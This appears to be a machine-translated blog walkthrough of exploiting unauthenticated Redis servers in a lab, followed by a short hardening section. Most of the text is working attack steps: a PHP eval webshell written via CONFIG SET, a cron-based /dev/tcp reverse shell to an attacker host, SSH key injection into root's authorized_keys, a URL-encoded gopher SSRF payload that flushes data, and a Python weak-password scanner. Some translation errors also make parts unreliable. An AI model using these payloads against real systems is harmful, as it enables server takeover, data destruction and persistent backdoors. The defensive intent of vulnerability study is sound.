Redis unauthorized access vulnerability recurrence

1, Causes of Redis unauthorized vulnerability

1.1 basic introduction to redis

Redis is an open source (BSD licensed) in memory data structure storage system, which can be used as database, cache and message middleware. It supports many types of data structures, such as strings, hashes, lists, sets, sorted sets and range queries, bitmaps, hyperlogs and geospatial index radius queries. Redis has built-in replication, Lua scripting, LRU events, transactions and different levels of disk persistence, and provides high availability through redis Sentinel and Cluster.

1.2 Redis unauthorized vulnerability

By default, redis is bound to port 0.0.0.0:6379, and there is no password by default. If Hanhan O & M does not restrict access to port and configure password when online service, it will make us directly link to redis server from the external network for operation.

1.3 vulnerability hazards

  1. Attackers connect to the server to operate the server data, or flush the data directly, emmmmm... Started in three years.
  2. Leave a back door at the victim end
  3. Log in directly to the victim system through ssh key

2, Environment construction

2.1 installing redis environment

  1. Execute the following command to download the source package
    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
  2. Unzip the source package
    tar -zxvf redis-2.8.17.tar.gz
  3. Enter the source package path
    cd ./redis-2.8.17
  4. Create makefile
    make
  5. Enter src directory
    cd src
  6. Copy client and server files to environment variable directory
    cp redis-server /usr/bin
    cp redis-cli /uer/bin
  7. Enter the upper level directory
    cd ..
  8. Copy the configuration file to / etc
    cp redis.conf /etc/

2.2 start redis

redis-server /etc/redis.conf
Use the configuration file under / etc / to start the redis server

The above figure indicates successful startup

2.3 conditions for establishing loopholes

  1. redis is bound to 0.0.0.0:6379
  2. redis sets the password for
  3. The firewall does not filter the traffic to redis

3, Reappearance

3.1 connecting redis

Conditions are limited. I use my centos to demonstrate on the same machine. The ip of my current machine is 192.168.248.176
redis-cli -h 192.168.248.176 -p 6379

parametermeaning
-hSpecify the host address to log in to
-pSpecify the redis service port. The port of redis service is bound to 6379 by default, but it can be in redis Conf is changed through the port option


We can see that we successfully entered the redis server. Here, because I demonstrated on a machine, I used the loopback address. At the same time, I found that redis opened password verification, so I used auth password to set the password. This does not affect our experiment. The principle is the same.

3.1 webshell

Input in redis client

127.0.0.1:6379> config set dir /var/www/html/ #Set the storage directory of webshell
127.0.0.1:6379> config set dbfilename system.php # Set the file name of webshell
127.0.0.1:6379> set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" #Write a sentence into system PHP
127.0.0.1:6379> save #preservation

From the above command, we can see that in order to successfully write the shell, our redis login user needs to have write permission to the website directory.

Let's go to the root directory of the website to see if it is written successfully

We see that the file has appeared. Let's look at the content of the file

In a word, the Trojan horse has been written successfully!! system. The characters at the beginning of the PHP file are automatically written by redis. Don't worry.
Then we connect this file with ant sword;

Successful getshell

3.2 rebound shell

Re input the redis client

127.0.0.1:6379> set xxx "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.162/7777 0>&1\n" #Set a scheduled task to execute the rebound code every minute
127.0.0.1:6379> config set dir /var/spool/cron #Define the file saving path, which is the default saving path for scheduled tasks. All scheduled tasks are saved here
127.0.0.1:6379> config set dbfilename root #Root is the user name of the currently logged in user. I am currently logged in with root. Remember this. The reproduced articles on my card online are all written casually here. I don't know how they succeeded. Anyway, I didn't succeed even if I tried to feed.
127.0.0.1:6379> save #preservation


Go to / var/spool/cron to check whether our scheduled tasks have been added successfully

bingo, it worked

Use nc monitoring on our attack aircraft

nc -lvnp 7777

The user name and host name have changed, and the rebound shell is successful

3.3 ssh key login

This part uses a target and an attacker. The IP of the target is 192.168.248.177 and the IP of the attacker is 192.168.248.162

We can write your public key into the target to realize ssh password free login
First of all, you need / root / SSH directory. If not, we will create one manually

Generate a key pair in our attack machine and press enter all the way

ssh-keygen -t rsa


Enter / root / You can see that two files have been generated in SSH

id_rsa private key file
id_rsa.pub public key file
Write the public key file into a text file

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > a.txt

Connect the redis server of the target and write in the public key

cat a.txt | redis-cli -h 192.168.248.177 -x set crack


Connect to the redis server and execute

config set dir /root/.ssh #Set the directory of redis backup to / root / ssh
config set dbfilename authorized_keys # Set public key save file name
save #preservation


Enter the target / root / SSH view saved successfully

Use the attacker to connect the target without secret

ssh -i id_rsa root@192.168.248.177


You can see that you have successfully connected to the target!!!!

3.4 ssrf,redis,gopher getshell

Using the ssrf vulnerability on the server, it is detected that the intranet host is running the redis server, and there is an unauthorized access vulnerability. You can use gopher protocol to write to the redis server.
Enter at ssrf gopher://172.16.11.6:6379/_payload
How to generate payload? Upper tool https://github.com/firebroo/sec_tools
On redis CMD writes commands that need to be executed by redis. Let's take writing webshell as an example:

flushall
config set dir /var/www/html
config set dbfilename webshell.php
set 'handsomeboy' '<?php phpinfo();?>'
save

Execute redis over gopher.exe using python py

python redis-over-gopher.py

Then we saw our payload

%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

Then we visit like this

gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

Then we can see that your webshell is written successfully

Don't spray if you steal a picture
Then we can connect with ant sword and kitchen knife~~~~
Of course, we can reverse the shell in the same way

3.5 vulnerability poc

Don't ask, it's copied

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"Unauthorized access"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"Weak password exists, password:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

4, Defense

4.1 binding ip

Modify redis Conf configuration file

I have bound only local loopback addresses and only Arctic access

4.2 setting password

Modify redis Conf configuration file

Set the password to foobared

4.3 modify port number

Modify redis Conf configuration file

Modify redis service port

4.4 setting firewall rules

iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -p tcp --dport 6379 -j ACCEPT #Only allow the local machine to access my 6379 port through tcp

4.5 authority minimization

4.5.1 restrict user access to redis directory

root@armandhe ~ ] chmod 700 ~/redis-2.8.17 #My redis is installed in the root home directory
root@armandhe ~ ] chmod 600 /etc/redis.conf #Directory of configuration file

4.5.2 creating low privilege users

useradd -M -s /sbin/nologin yourusername # Create a system user without login permission and home directory to run redis

4.5.3 disable or rename dangerous commands

Redis has no authority separation, and there is no obvious difference between its administrator account and ordinary account. Attackers can perform arbitrary operations after logging in, so they need to hide the following important commands: flushdb flushall keys pexpire del config shutdown bgrewriteaof bgsave spop SREM rename debug Eval
In addition, Redis 2.8.1 and redis 3 EVAL sandbox escape vulnerability exists in X (less than 3.0.2), which allows attackers to execute arbitrary Lua code.
The following configuration sets config flushdb flushall to null, that is, the command is disabled; It can also be set to some complex and difficult to guess names.

rename-command CONFIG ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown shotdown_test
BashCopy

After saving, restart takes effect

Keywords: Redis Cyber Security security hole

Added by Wardy7 on Wed, 02 Feb 2022 20:29:15 +0200